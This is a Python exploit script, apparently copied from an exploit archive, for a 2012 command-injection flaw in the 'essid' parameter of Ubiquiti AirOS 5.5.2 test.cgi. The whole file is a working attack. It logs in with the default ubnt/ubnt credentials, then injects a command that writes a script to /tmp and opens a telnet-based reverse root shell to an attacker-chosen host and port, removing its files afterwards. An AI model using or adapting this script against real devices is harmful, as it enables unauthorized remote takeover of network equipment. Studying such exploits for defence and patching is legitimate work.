1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 |
#!/usr/bin/python #+--------------------------------------------------------------------------------------------------------------------------------+ # Exploit Title : Ubiquiti AirOS <= 5.5.2 Remote POST-Auth Root Command Execution # Date: 12-28-2012 # Author: xistence (xistence<[AT]>0x90.nl) # Software link : http://www.ubnt.com/eula/?BACK=/downloads/XM-v5.5.2.build14175.bin # Vendor site : http://www.ubnt.com/ # Version : 5.5.2 and lower # Tested on : PicoStation M2 (hardware) # # Vulnerability : The http://<IP>/test.cgi "essid" parameter is not sanitized for input which allows for execution of operating # system commands. The parameter input field can be like this to create a file /tmp/test.txt: # "LINKTEST & /bin/touch /tmp/test.txt #" # Authentication to the web site is necessary to exploit this vulnerability. #+--------------------------------------------------------------------------------------------------------------------------------+ import urllib, urllib2, cookielib, sys, random, mimetools, mimetypes, itertools, time print "" print "[*] Ubiquiti AirOS <= 5.5.2 Remote POST-Auth Root Command Execution - xistence (xistence<[at]>0x90.nl) - 2012-12-28" print "" if (len(sys.argv) != 4): print "[*] Usage: " + sys.argv[0] + " <rhost> <lhost> <lport>" print "" exit(0) rhost = sys.argv[1] lhost = sys.argv[2] lport = sys.argv[3] webUser = "ubnt" webPass = "ubnt" # Create a random file with 8 characters filename = '' for i in random.sample('abcdefghijklmnopqrstuvwxyz1234567890',8): filename+=i filename +=".sh" shellCmd = '& echo "mknod /tmp/backpipe p ; telnet ' + lhost + ' ' + lport + ' 0</tmp/backpipe | /bin/sh -C 1>/tmp/backpipe 2>/tmp/backpipe ; rm -rf /tmp/backpipe ; rm -rf /tmp/' + filename + '" > /tmp/' + filename + ' ; chmod +x /tmp/' + filename + ' ; /bin/sh /tmp/' + filename + ' #' class MultiPartForm(object): """Accumulate the data to be used when posting a form.""" def __init__(self): self.form_fields = [] self.files = [] self.boundary = mimetools.choose_boundary() return def get_content_type(self): return 'multipart/form-data; boundary=%s' % self.boundary def add_field(self, name, value): """Add a simple field to the form data.""" self.form_fields.append( ( name, value ) ) return def __str__(self): """Return a string representing the form data, including attached files.""" # Build a list of lists, each containing "lines" of the # request.Each part is separated by a boundary string. # Once the list is built, return a string where each # line is separated by '\r\n'. parts = [] part_boundary = '--' + self.boundary # Add the form fields parts.extend( [ part_boundary, 'Content-Disposition: form-data; name="%s"' % name, '', value, ] for name, value in self.form_fields ) # Flatten the list and add closing boundary marker, # then return CR+LF separated data flattened = list( itertools.chain( *parts) ) flattened.append( '--' + self.boundary + '--' ) flattened.append( '' ) return '\r\n'.join( flattened ) # Create the form with simple fields form = MultiPartForm() form.add_field( 'uri', '' ) form.add_field( 'username', webUser ) form.add_field( 'password', webPass ) form2 = MultiPartForm() form2.add_field( 'essid', 'LINKTEST ' + shellCmd ) form2.add_field( 'channel', '2412' ) form2.add_field( 'rssithresh', '13' ) form2.add_field( 'file_url', '' ) form2.add_field( 'action', 'test' ) # Our Cookie Jar cj = cookielib.CookieJar() opener = urllib2.build_opener( urllib2.HTTPCookieProcessor( cj ) ) # Just open the default url to grab the cookies and put them in the jar print "[+] Opening default page [http://%s] to store cookies" % rhost resp = opener.open( "http://%s" %rhost ) # Create our multi-part body + headers login POST request print "[+] Logging in with user [%s] and password [%s] at host [%s]" % ( webUser, webPass, rhost ) resp = urllib2.Request( "http://%s/login.cgi" % rhost ) body = str( form ) resp.add_header( 'Content-type', form.get_content_type() ) resp.add_header( 'Content-length', len( body ) ) resp.add_data( body ) request = opener.open( resp ).read() # Create our multi-part body + headers command execution POST request print "[+] Executing reverse shell commands [file = /tmp/" + filename + "], this might take up to a minute before a response is received in your netcat shell" resp = urllib2.Request( "http://%s/test.cgi" % rhost ) body = str( form2 ) resp.add_header( 'Content-type', form2.get_content_type() ) resp.add_header( 'Content-length', len( body ) ) resp.add_data( body ) request = opener.open( resp ).read() time.sleep(30) print "[+] Done, check your netcat reverse shell on ip [%s] port [%s]" % ( lhost, lport ) |